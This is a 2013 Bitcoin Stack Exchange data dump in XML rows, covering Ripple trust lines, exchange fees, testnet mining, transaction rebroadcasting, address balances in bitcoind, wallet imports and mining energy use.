  <row Id="10076" PostTypeId="2" ParentId="10064" CreationDate="2013-04-22T03:37:21.893" Score="1" Body="&lt;p&gt;The only risk would be that somebody owes you money and doesn't pay you back. If someone lets you owe them money, they are taking all the risk. You have to choose to take a risk, but normally you'd have no reason to want to control whether other people take risks.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;a) I trust you to lend me XXX in quantity up to N units.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is the type of trust you extend when you create a pathway.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;b) I trust you to borrow from me YYY in quantity up to M units.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you mean you trust them to pay you back, &lt;em&gt;they&lt;/em&gt; would have to agree to pay you back and you would have to accept and act on that agreement. That would take place outside the Ripple system. The Ripple system just tracks balances, the terms on which those balances are paid back is outside the system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure why you would worry about someone giving you money without you having any agreement to pay them back. All the risk is on them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And to this comment:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Incidentally, when people just send me XRPs or BTCs to my ripple address at ripple.com, or when I do the same to them, no trust setup is involved.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No trust is required to hold or transfer XRPs. They're a native currency in Ripple. And no new trust is required for someone else to transfer balances to you where that money is held by someone you already trust. You set up trust in the first place so that payments will &quot;just work&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's basically this simple: If you want to hold BTC on Ripple, pick a gateway you trust and create a pathway to them. Set a limit. So long as you don't create any other pathways or reach that limit, people can pay you BTC is by making that gateway owe them to you. If you create only one pathway for each currency and it's to a gateway you trust, everything &quot;just works&quot;. You can receive payments from and make payments to anyone who is reasonably well connected.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2013-04-22T04:12:14.883" LastActivityDate="2013-04-22T04:12:14.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10077" PostTypeId="1" CreationDate="2013-04-22T03:55:22.350" Score="2" ViewCount="6142" Body="&lt;p&gt;I don't need a leveraged account. I just want to trade with real money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Mt. Gox transaction fee is 0.60%. Is there a place with a lower transaction fee?&lt;/p&gt;&#xA;" OwnerUserId="1498" LastEditorUserId="6242" LastEditDate="2013-09-04T22:46:18.047" LastActivityDate="2013-09-04T22:46:18.047" Title="Where can I trade BTC/USD with a small transaction fee?" Tags="|transaction-fees|buy-bitcoins|" AnswerCount="3" CommentCount="1" ClosedDate="2014-03-08T19:11:46.610" ContentLicense="CC BY-SA 3.0" />
  <row Id="10078" PostTypeId="1" AcceptedAnswerId="10079" CreationDate="2013-04-22T04:13:07.463" Score="4" ViewCount="2008" Body="&lt;p&gt;2 Parts to this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1st&lt;/strong&gt; - What is a typical winning block (I get coins) generation time when running on testnet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ive done numbers with calculators and all that but given I cant work out accurately what the 'normal' difficulty for testnet is, I dont know where in the range of numbers I've seen is right to consider normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2nd&lt;/strong&gt; - How can I be sure that I'm actually mining, not that I'm just computing useless hash after useless hash thats getting sent to a black hole somewhere?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, using 2 machines CPU mining on testnet (and even trying unsuccessfuly for an hour to get GPU mining to work as well, figuring that if it worked, i can just stop this after a few minutes and get on with my work) to generate a bunch of coins for testing some bitcoin related transaction handling software. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have managed to generate zero bitcoins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1Mhash/s and 500Khash/s for over an hour each. Plus the hour trying various gpu mining things on and off. And no coins. I'm confused &amp;amp; wondering how to debug this. Since I can send and receive bitcoins without issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I gave up trying to testnet mine since I was able to use a generous faucet to borrow some for testing. But the geek in me is very very irritated at not having worked out what was broken and fixing it. And now I'm in the situation where I'd like to put my own machines horsepower back to work mining on the testnet in order to speed up the transaction confirmation times, even if its not by much, so im stumped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit -- More specific hashing figures. I lowballed my numbers a fair bit.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Laptop [ Macbook Air ]&#xA;&lt;ul&gt;&#xA;&lt;li&gt;CPU [ 2Ghz i7 ] Using: &#xA;&lt;ul&gt;&#xA;&lt;li&gt;bitcoin-qt internal miner &lt;strong&gt;&lt;em&gt;~1.5Mhash/s&lt;/em&gt;&lt;/strong&gt; over &lt;strong&gt;&lt;em&gt;~4hrs&lt;/em&gt;&lt;/strong&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Desktop [ Custom ]&#xA;&lt;ul&gt;&#xA;&lt;li&gt;CPU [i5-2500K@3.3Ghz] Using:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;bitcoin-qt internal miner &lt;strong&gt;&lt;em&gt;between ~4.2Mhash/s and 2.3Mhash/s&lt;/em&gt;&lt;/strong&gt; over &lt;strong&gt;&lt;em&gt;~2hrs&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;GUIminer/poclbm OpenCL &lt;strong&gt;&lt;em&gt;~1Mhash/s&lt;/em&gt;&lt;/strong&gt; over &lt;strong&gt;&lt;em&gt;~2hrs&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;GPU [ AMD 6900 Series GPU-Core@830Mhz Mem@1300Mhz ] Using:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;poclbm OpenCL &lt;strong&gt;&lt;em&gt;~325Mhash/s&lt;/em&gt;&lt;/strong&gt; over &lt;strong&gt;&lt;em&gt;~30min&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;DiabloMiner &lt;strong&gt;&lt;em&gt;~325Mhash/s&lt;/em&gt;&lt;/strong&gt; over &lt;strong&gt;&lt;em&gt;~30min&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;cgminer wouldnt run, kept crashing on start, debug log didnt have any clear cause, the log actually looked like it died half way through trying to say something. The last entry was something like 'Tha'&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So, yeah all that and no coins.&lt;/p&gt;&#xA;" OwnerUserId="2556" LastEditorUserId="5406" LastEditDate="2016-04-17T20:25:37.520" LastActivityDate="2016-04-17T20:25:37.520" Title="Testnet Bitcoin Generation Time" Tags="|bitcoin-core|miner-configuration|testnet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10079" PostTypeId="2" ParentId="10078" CreationDate="2013-04-22T04:42:57.080" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What is a typical winning block (I get coins) generation time when running on testnet.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I plugged your rig statistics into &lt;a href=&quot;http://www.bitcoinx.com/profit/&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; calculator, and I find that you should be getting 60 blocks a day at difficulty 1. Seems to be oscillating between 1 and 42 at the moment. Maybe you should try running for longer.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How can I be sure that I'm actually mining, not that I'm just computing useless hash after useless hash thats getting sent to a black hole somewhere?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The standard client is pretty good about not even trying to generate when it's not connected. Perhaps you could join a testnet pool? :) &lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2013-04-22T05:40:41.197" LastActivityDate="2013-04-22T05:40:41.197" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10081" PostTypeId="2" ParentId="10077" CreationDate="2013-04-22T09:49:19.743" Score="3" Body="&lt;p&gt;Base fees:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://mtgox.com/&quot; rel=&quot;nofollow&quot;&gt;Mt. Gox&lt;/a&gt;: 0.6%&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.bitstamp.net/fee_schedule/&quot; rel=&quot;nofollow&quot;&gt;Bitstamp&lt;/a&gt;: 0.5%&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://intersango.com/&quot; rel=&quot;nofollow&quot;&gt;Intersango&lt;/a&gt;: 0.65%&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin-central.net/s/fees&quot; rel=&quot;nofollow&quot;&gt;Bitcoin-Central&lt;/a&gt;: 0.498%&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="196" LastEditorUserId="4241" LastEditDate="2013-04-22T21:51:49.993" LastActivityDate="2013-04-22T21:51:49.993" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10082" PostTypeId="1" AcceptedAnswerId="10084" CreationDate="2013-04-22T10:09:29.893" Score="4" ViewCount="2000" Body="&lt;p&gt;In the original publication about bitcoin, in section 5 it states that&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If two nodes broadcast different versions of the next block&#xA;  simultaneously , some nodes may receive one or the other first. In&#xA;  that case, they work on the first one they received but save the other&#xA;  branch in case it becomes longer. The tie will be broken when the next&#xA;  proof-of-work is found and one branch becomes longer;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;the author then states&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;New transaction broadcasts do not necessarily need to reach all nodes.&#xA;  As long as they reach many nodes, they will get into a block before&#xA;  long.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My question is: How do lost transactions &quot;get into a block before long&quot;? Are they constantly re-transmitted until they are 6 blocks deep and the proof of work has been completed? Is it possible that a transaction could be re-transmitted indefinitely, and it might never be put into a block that is fully synchronized?&lt;/p&gt;&#xA;" OwnerUserId="4571" LastActivityDate="2013-04-22T10:48:02.180" Title="Transaction broadcasts and block synchronization" Tags="|transactions|block|synchronization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10083" PostTypeId="2" ParentId="10077" CreationDate="2013-04-22T10:13:45.793" Score="0" Body="&lt;p&gt;btc-e is a good choice for low fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://btc-e.com/&quot; rel=&quot;nofollow&quot;&gt;https://btc-e.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently fees are set at 0.2%, The best available at the moment, although getting money in and out is quite tricky.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2013-04-22T10:13:45.793" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10084" PostTypeId="2" ParentId="10082" CreationDate="2013-04-22T10:48:02.180" Score="3" Body="&lt;p&gt;While implementation specific, transactions are only re-broadcasted by the bitcoin-qt client after every x minutes (30?) and only if it's not in the main chain yet. Once a block comes in that has the transaction, it'll stop transmitting. If a new chain is accepted later that doesn't have the transaction, it will start broadcasting again.&lt;/p&gt;&#xA;&lt;p&gt;About transactions getting lost, &lt;a href=&quot;https://bitcoin.stackexchange.com/a/9737/4358&quot;&gt;I already wrote an answer about that once&lt;/a&gt; :&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Most clients on the network have a transaction pool in their memory. The same basically applies to miners: they just dump the top 500KB (or some other value) transactions into a block, sorted by transaction fee (descending, of course). When there aren't many transactions, maybe because of a series of block in a short amount of time, it will be confirmed anyway.&lt;/p&gt;&#xA;&lt;p&gt;But to answer your actual question: yes, transactions (sort of) expire. When you send a transaction, it sends a &lt;code&gt;tx&lt;/code&gt; frame to all connected peers. These peers store the transaction in their memory pools and tell all their connections that they have a new transaction. When those connections don't have it yet, they ask for it, and that's how a transaction spreads over the network.&lt;/p&gt;&#xA;&lt;p&gt;At some point every node in the network will have the transaction in their memory pool, and at that point it will no longer be sent over the network. Now when a user restarts their client, the memory pool is wiped, and the transaction is deleted from that computer. (Plus a few other ways to delete transactions from the pool)&lt;/p&gt;&#xA;&lt;p&gt;Because of that it's very unlikely for the transaction to be gone from the entire network, but in case it does happen: the reference client will automatically re-send the transaction every x hours(/minutes?) when it's still not confirmed.&lt;/p&gt;&#xA;&lt;p&gt;Oh, and I forgot the most important part: transactions on Bitcoin (&lt;code&gt;tx&lt;/code&gt; frames in the protocol) don't have a 'time' field, which means that transaction expiration can't be a feature of Bitcoin.&lt;/p&gt;&#xA;&lt;p&gt;To summarize: yes, the transaction &lt;em&gt;can&lt;/em&gt; expire, but that is really unlikely.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="4358" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2013-04-22T10:48:02.180" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10085" PostTypeId="2" ParentId="8707" CreationDate="2013-04-22T11:11:11.163" Score="0" Body="&lt;p&gt;Yes, it works like a market order that stops moving up at $76.5 that will always fill you on the best possible prices on the way up. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Professional traders actually use these kinds of &quot;synthetic&quot; markets orders most of the time, because market orders could possibly fill you at a price that you wouldn't want to get in a fast moving market. This is especially true with laggy exchanges like Mt. Gox.&lt;/p&gt;&#xA;" OwnerDisplayName="user3494" LastActivityDate="2013-04-22T11:11:11.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10086" PostTypeId="2" ParentId="9051" CreationDate="2013-04-22T11:14:51.930" Score="0" Body="&lt;p&gt;You could use the difficulty as a lower limit for the price of Bitcoin as miners will stop mining (thus decreasing difficulty) if it is no longer profitable (which depends on the Bitcoin price). So the price affects difficulty but not necessarily the other way around.&lt;/p&gt;&#xA;" OwnerDisplayName="user3494" LastActivityDate="2013-04-22T11:14:51.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10088" PostTypeId="2" ParentId="10036" CreationDate="2013-04-22T12:10:02.787" Score="1" Body="&lt;p&gt;The most comprehensive list I have come across is &lt;a href=&quot;http://stuffexists.com/bitcoin/&quot; rel=&quot;nofollow&quot;&gt;Stuff Exists&lt;/a&gt;. I have not personally checked each link but it will give a good basis on where to pull a list of sites from.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2013-04-22T12:10:02.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10090" PostTypeId="1" AcceptedAnswerId="10101" CreationDate="2013-04-22T13:01:17.317" Score="36" ViewCount="49344" Body="&lt;p&gt;I want to see the balance of some address using bitcoind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I set &lt;code&gt;txindex=1&lt;/code&gt; and did a &lt;code&gt;-reindex&lt;/code&gt; to get all transactions indexed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But still, there doesn't seem to be a way to get balances of an address. &lt;code&gt;getreceivedbyaddress&lt;/code&gt; doesn't work with addresses out of your own wallet (I hoped it would after a &lt;code&gt;-txindex=1 -reindex&lt;/code&gt;, but it didn't).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering why blockexplorer.com's &lt;code&gt;getreceivedbyaddress&lt;/code&gt; can do this for any address but the default client cannot. If you download and sync the whole blockchain, you should be able to query it for any information, right?&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2022-01-30T07:10:13.760" Title="How to get an address's balance with the bitcoin client?" Tags="|client|bitcoind|api|" AnswerCount="6" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10091" PostTypeId="1" CreationDate="2013-04-22T13:59:49.483" Score="3" ViewCount="141" Body="&lt;p&gt;I want to use the data of the MtGox-API for my (commercial) website. I want to show their data as an exchange-rate, but, of course, I will link to their site and cite them as source. I couldn't find anything on their site about the usage of the API-Data for a commercial site, so... does anyone know about that?&lt;/p&gt;&#xA;" OwnerUserId="4575" LastEditorUserId="196" LastEditDate="2013-04-22T14:02:52.130" LastActivityDate="2013-04-23T11:04:40.360" Title="MtGox-Api License" Tags="|mtgox|legal|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10092" PostTypeId="1" CreationDate="2013-04-22T16:21:49.337" Score="1" ViewCount="905" Body="&lt;p&gt;I'm attempting to clarify a few things in my mind. The wallet.dat file contains (amongst other things) my transaction history alongside the private keys associated with each address in use in the wallet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say I'm one of those open source weirdos and I use PyWallet to open the wallet.dat and pull the private keys and addresses out of my wallet. Now say my goal is to create a new wallet (called it Cwallet). Now CWallet can sign transactions for my bitcoins from bitcoin-qt, but how would it actually get an account balance?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does CWallet have to search through the entire blockchain and find my address and then follow it to the most current block? Or is there an optimized way of determining the balance?&lt;/p&gt;&#xA;" OwnerUserId="4070" LastActivityDate="2013-05-22T22:19:42.470" Title="Account Balance and Bitcoin-QT" Tags="|wallet|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10094" PostTypeId="2" ParentId="10059" CreationDate="2013-04-22T17:36:51.140" Score="4" Body="&lt;p&gt;There will always be some stale work that is rejected by the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When there is a new block on the network (from any pool) we need to switch to building on top of this new block, at the new height. The server sends out new work data to all workers. But some of them are sending in work results at that moment, and it gets rejected because it is based on the old work data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would consider a reject ratio of 0.5% or lower to be normal and acceptable.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-04-22T17:36:51.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10095" PostTypeId="1" CreationDate="2013-04-22T18:39:11.030" Score="5" ViewCount="7906" Body="&lt;p&gt;I've been using Bitcoin Qt on my work computer (my only working computer at the moment) but last week Windows 7 decided that the program's bypassing the firewall to download the blockchain was a security risk and blocked it from doing so. I'm not the network administrator and fiddling with the firewall settings I &lt;em&gt;can&lt;/em&gt; access hasn't done anything. While it is absolutely possible that I am missing some obvious solution, I've given up on fixing this. what I'd like to do now is download another offline wallet - one that does not need the entire blockchain - and import my Qt backup. I've tried MultiBit &amp;amp; Electrum, neither of which seem to work (although, again, it is possible that I'm missing something). Is there another program I can use? Should I wait until my laptop is fixed and just re-install BTC Qt on that? Am I out of luck?&lt;/p&gt;&#xA;" OwnerUserId="4579" LastEditorUserId="2306" LastEditDate="2015-03-13T14:39:10.987" LastActivityDate="2018-01-23T10:50:35.920" Title="What other wallets can import Qt's backup .dat file?" Tags="|bitcoin-core|backup|wallet-import|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10096" PostTypeId="1" AcceptedAnswerId="10967" CreationDate="2013-04-22T19:41:26.633" Score="0" ViewCount="1652" Body="&lt;p&gt;I found already the following pushpool versions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://github.com/jgarzik/pushpool&#xA;https://github.com/ArtForz/pushpool&#xA;https://github.com/alexhz/pushpool&#xA;https://github.com/CryptoManiac/pushpool&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(can't post more than 2 links with my current reputation, so made a block)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of them seem very old already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a research on how to modify the difficulty in pushpool's &lt;code&gt;server.json&lt;/code&gt; and found examples on how to set the following options &lt;code&gt;rpc.target.bits&lt;/code&gt; and &lt;code&gt;work.expire&lt;/code&gt;, but NONE of them seem to work for the mentioned versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what's the newest pushpool version and where can I download it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; Tried as described in the following post, but not working. Difficulty doesn't change and nothing is written into &lt;code&gt;shares&lt;/code&gt;. &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/9171/mmcfe-not-reporting-stats-from-pushpool-wallet&quot;&gt;MMCFE Not Reporting Stats from pushpool/wallet&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4546" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2014-01-03T15:17:59.960" Title="What is the most recent pushpool version and where to get it?" Tags="|litecoin|pushpool|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10097" PostTypeId="2" ParentId="10060" CreationDate="2013-04-22T21:10:44.957" Score="5" Body="&lt;p&gt;The specifics of hardware (cost efficiency and hashing rate) are not very important. The availability of the most competitive mining hardware matters, but in the long run, the cost of electricity burned will tend towards the value of BTC granted to miners. obviously it won't quite get there (they have to return their hardware costs), but barring availability issues like with today's ASIC's, it's going to get pretty close. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After all, setting up a mining operation is a no-brainer for anybody with a technical background, and hardware is a &quot;sunk cost&quot; - which also does nothing useful other than maintain the BTC network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So at 25BTC per 10 minutes = 150 BTC per hour; about $18,750 worth currently. If only about half, or say $10K/h are spent on electricity costs, assuming 12¢ per kWh, that's 83MW.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A gas/oil/coal power plant gives out an output of around 1GW.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So yes if BTC goes to the ~$1k range over the next few years, it will draw about as much energy as an entire power plant produces. That's a lot of real world physical resources burned away for securing a financial transactions network with a $10B cap (at that price level).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does get cut in half every four years though, with the halving of the block reward.&lt;/p&gt;&#xA;" OwnerUserId="4556" LastActivityDate="2013-04-22T21:10:44.957" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10098" PostTypeId="2" ParentId="10092" CreationDate="2013-04-22T21:23:59.883" Score="1" Body="&lt;p&gt;If you used some python scripts to generate a new wallet file and want to use it with bitcoind or bitcoin-qt, you will probably need to rescan the whole blockchain via running &lt;code&gt;bitcoind -rescan&lt;/code&gt; (it may take much time).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that you can use &lt;code&gt;bitcoind listaccounts&lt;/code&gt; to get balances of all your accounts (or &lt;code&gt;bitcoind getbalance&lt;/code&gt; to get the total amount).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure if it answers your question though, since not sure what you mean under 'account' and 'CWallet'.&lt;/p&gt;&#xA;" OwnerUserId="4583" LastActivityDate="2013-04-22T21:23:59.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10099" PostTypeId="2" ParentId="10090" CreationDate="2013-04-22T21:44:34.927" Score="4" Body="&lt;p&gt;This comes from the &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&quot; rel=&quot;noreferrer&quot;&gt;Original Bitcoin client/API calls list&lt;/a&gt; regarding the command &lt;code&gt;getreceivedbyaddress&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Returns the total amount received by  in transactions with at least [minconf] confirmations. While some might consider this obvious, value reported by this only considers &lt;em&gt;receiving&lt;/em&gt; transactions. It does not check payments that have been made &lt;em&gt;from&lt;/em&gt; this address. In other words, this is not &quot;getaddressbalance&quot;. &lt;strong&gt;Works only for addresses in the local wallet, external addresses will always show 0.&lt;/strong&gt; [Boldness added by me.]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Technically you are right; the blockchain carries the information you are looking for. The original client however does not have the function to compute it.&lt;/p&gt;&#xA;" OwnerUserId="4525" LastActivityDate="2013-04-22T21:44:34.927" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="10100" PostTypeId="1" AcceptedAnswerId="10114" CreationDate="2013-04-22T22:22:42.617" Score="8" ViewCount="1193" Body="&lt;p&gt;I have some idea of what Namecoin was trying to achieve, but as of yet I've never seen it actually used. Is it being used for anything of significance yet, or are there plans by anyone to do so in the short to medium term?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I were to register a .bit domain name and host a website, can everybody with a standard internet connection setup access it, or is special software or other setup required?&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="516" LastEditDate="2013-04-22T22:39:07.233" LastActivityDate="2014-08-21T16:04:11.063" Title="Is Namecoin actually being used for anything significant?" Tags="|namecoin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10101" PostTypeId="2" ParentId="10090" CreationDate="2013-04-22T22:25:28.937" Score="26" Body="&lt;p&gt;By default, what is maintained by the 0.8 blockchain engine is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;All blocks&lt;/li&gt;&#xA;&lt;li&gt;A database with all block headers, and the positions on disk for each block&lt;/li&gt;&#xA;&lt;li&gt;A database that represents all unspent transaction outputs (UTXOs), indexed by txid, at the current tip of the block chain&lt;/li&gt;&#xA;&lt;li&gt;Undo files that allow rewinding the effects of blocks on this set of UTXOs.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Nothing related to addresses or balances exists at this level. That is just a client-side representation of the data. The balance of a wallet is the sum of the values of the UTXOs that are spendable with the set of keys in the wallet. You could define the balance of an address as the sum of the values of the UTXOs assigned to a script matching a given address (and this is what several sites do), but presenting it this way is quite confusing - it makes many people think that Bitcoin transactions transfer value from one address to another. This is not true, they consume specific outputs of a previous transaction, and merge and split those into new outputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;-txindex&lt;/code&gt; option you mention, adds one more thing that is maintained by the validation engine:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A database with the positions on disk for each &lt;em&gt;transaction&lt;/em&gt;, indexed by txid.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This was added to make the &lt;code&gt;getrawtransaction&lt;/code&gt; command work with historical transactions, but again, this has nothing to do with addresses. A database that indexes the UTXO set by address, or even the entire block chain history by address would be possible, but it would be relatively expensive to maintain, and shouldn't be necessary for normal operations (though it is quite useful for debugging...).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where such things do belong, is in the wallet. The wallet as presented by the reference client does not use &quot;balance of an address&quot; - it rather sees addresses as entry points into the wallet, but manages the coins in the entire wallet together, regardless of what address they were last sent to. This also confuses people who are used to look at blockexplorer-like websites, when they realize that for example change is always sent to a fresh address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, to give a real answer: if you really want to track a balance, you need the wallet interface. Right now, this is quite unflexible, but there are plans to improve this situation soon. We'll hopefully soon get support for multiple wallets, and watch-only wallets, where you can just add addresses you'd like to track, without having their keys.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-04-22T22:25:28.937" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="10102" PostTypeId="1" AcceptedAnswerId="10145" CreationDate="2013-04-22T22:49:03.190" Score="2" ViewCount="348" Body="&lt;p&gt;Does anyone have any hard data on bitcoin price fluctuations in relation to time of day and/or week? &lt;/p&gt;&#xA;" OwnerUserId="4586" LastEditorUserId="2306" LastEditDate="2013-04-23T00:19:49.247" LastActivityDate="2017-12-26T13:44:06.733" Title="Bitcoin Price Fluctuations" Tags="|exchange-rate|market|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10103" PostTypeId="1" AcceptedAnswerId="10106" CreationDate="2013-04-22T23:35:26.157" Score="3" ViewCount="333" Body="&lt;p&gt;I have 4 video cards: &lt;strong&gt;2x 7970&lt;/strong&gt; &amp;amp; &lt;strong&gt;2x 6970&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a question of efficiency regarding MH/s. Simply, I would like to know which is better:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;~1900 MH/s on one machine &lt;/li&gt;&#xA;&lt;li&gt;~1200 MH/s and ~700 MH/s on respective machines&lt;/li&gt;&#xA;&lt;li&gt;It does not matter&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Could the answer please include efficiency for both solo mining and pool mining?&lt;/p&gt;&#xA;" OwnerUserId="4543" LastEditorUserId="5406" LastEditDate="2016-03-17T14:58:45.297" LastActivityDate="2016-03-17T14:58:45.297" Title="Is it more efficient to use multiple computers when I have multiple GPUs?" Tags="|hashpower|gpu-mining|mining-setup|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
